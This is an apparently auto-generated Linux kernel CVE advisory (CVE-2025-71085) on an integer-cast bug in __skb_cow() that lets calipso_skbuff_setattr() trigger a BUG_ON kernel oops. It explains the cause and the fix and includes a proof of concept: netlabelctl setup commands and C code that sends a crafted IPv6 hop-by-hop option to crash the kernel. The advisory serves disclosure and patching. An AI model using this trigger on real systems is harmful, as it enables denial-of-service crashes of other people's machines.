In the Linux kernel, the following vulnerability has been resolved:
ipv6: BUG() in pskbexpandhead() as part of calipsoskbuffsetattr()
There exists a kernel oops caused by a BUGON(nhead < 0) at net/core/skbuff.c:2232 in pskbexpandhead(). This bug is triggered as part of the calipsoskbuffsetattr() routine when skbcow() is passed headroom > INTMAX (i.e. (int)(skbheadroom(skb) + len_delta) < 0).
The root cause of the bug is due to an implicit integer cast in _skbcow(). The check (headroom > skbheadroom(skb)) is meant to ensure that delta = headroom - skbheadroom(skb) is never negative, otherwise we will trigger a BUGON in pskbexpandhead(). However, if headroom > INTMAX and delta <= -NETSKBPAD, the check passes, delta becomes negative, and pskbexpandhead() is passed a negative value for nhead.
Fix the trigger condition in calipsoskbuffsetattr(). Avoid passing "negative" headroom sizes to skbcow() within calipsoskbuffsetattr() by only using skbcow() to grow headroom.
PoC:
Using netlabelctl tool:
netlabelctl map del default
netlabelctl calipso add pass doi:7
netlabelctl map add default address:0::1/128 protocol:calipso,7
Then run the following PoC:
int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);
// setup msghdr
int cmsg_size = 2;
int cmsg_len = 0x60;
struct msghdr msg;
struct sockaddr_in6 dest_addr;
struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
sizeof(struct cmsghdr) + cmsg_len);
msg.msg_name = &dest_addr;
msg.msg_namelen = sizeof(dest_addr);
msg.msg_iov = NULL;
msg.msg_iovlen = 0;
msg.msg_control = cmsg;
msg.msg_controllen = cmsg_len;
msg.msg_flags = 0;
// setup sockaddr
dest_addr.sin6_family = AF_INET6;
dest_addr.sin6_port = htons(31337);
dest_addr.sin6_flowinfo = htonl(31337);
dest_addr.sin6_addr = in6addr_loopback;
dest_addr.sin6_scope_id = 31337;
// setup cmsghdr
cmsg->cmsg_len = cmsg_len;
cmsg->cmsg_level = IPPROTO_IPV6;
cmsg->cmsg_type = IPV6_HOPOPTS;
char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80
sendmsg(fd, &msg, 0);
{
"osv_generated_from": "https://github.com/CVEProject/cvelistV5/tree/main/cves/2025/71xxx/CVE-2025-71085.json",
"cna_assigner": "Linux"
}